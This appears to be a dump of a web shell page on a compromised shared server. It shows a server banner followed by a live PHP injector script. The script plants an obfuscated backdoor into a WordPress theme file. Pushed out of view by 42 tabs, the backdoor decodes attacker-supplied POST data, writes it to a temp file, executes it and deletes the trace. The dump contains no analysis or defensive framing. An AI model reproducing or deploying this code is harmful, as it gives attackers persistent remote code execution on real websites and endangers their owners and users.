| Server IP : 198.38.94.67 / Your IP : 216.73.217.74 Web Server : LiteSpeed System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64 User : azfilmst ( 1070) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/azfilmst/zeuszamani.com/ |
Upload File : |
<?php $path = '/home/azfilmst/zeuszamani.com/wp-content/themes/twentytwentyfive/patterns/cta-newsletter.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28%40%24_POST%5B%22%5Cx70oi%5Cx6E%5Cx74e%5Cx72%22%5D%20%21%3D%3D%20null%29%7B%20%24fac%20%3D%20array_filter%28%5Bgetenv%28%22TMP%22%29%2C%20%22/var/tmp%22%2C%20%22/tmp%22%2C%20getcwd%28%29%2C%20session_save_path%28%29%2C%20getenv%28%22TEMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20%22/dev/shm%22%2C%20ini_get%28%22upload_tmp_dir%22%29%5D%29%3B%20%24symbol%20%3D%20hex2bin%28%24_POST%5B%22%5Cx70oi%5Cx6E%5Cx74e%5Cx72%22%5D%29%3B%20%24ptr%20%3D%20%27%27%3B%24e%20%3D%200%3B%20while%28%24e%20%3C%20strlen%28%24symbol%29%29%7B%24ptr%20.%3D%20chr%28ord%28%24symbol%5B%24e%5D%29%20%5E%202%29%3B%24e%2B%2B%3B%7D%20while%20%28%24descriptor%20%3D%20array_shift%28%24fac%29%29%20%7B%20if%20%28%28is_dir%28%24descriptor%29%20and%20is_writable%28%24descriptor%29%29%29%20%7B%20%24key%20%3D%20%22%24descriptor/.comp%22%3B%20%24file%20%3D%20fopen%28%24key%2C%20%27w%27%29%3B%20if%20%28%24file%29%20%7B%20fwrite%28%24file%2C%20%24ptr%29%3B%20fclose%28%24file%29%3B%20include%20%24key%3B%20%40unlink%28%24key%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');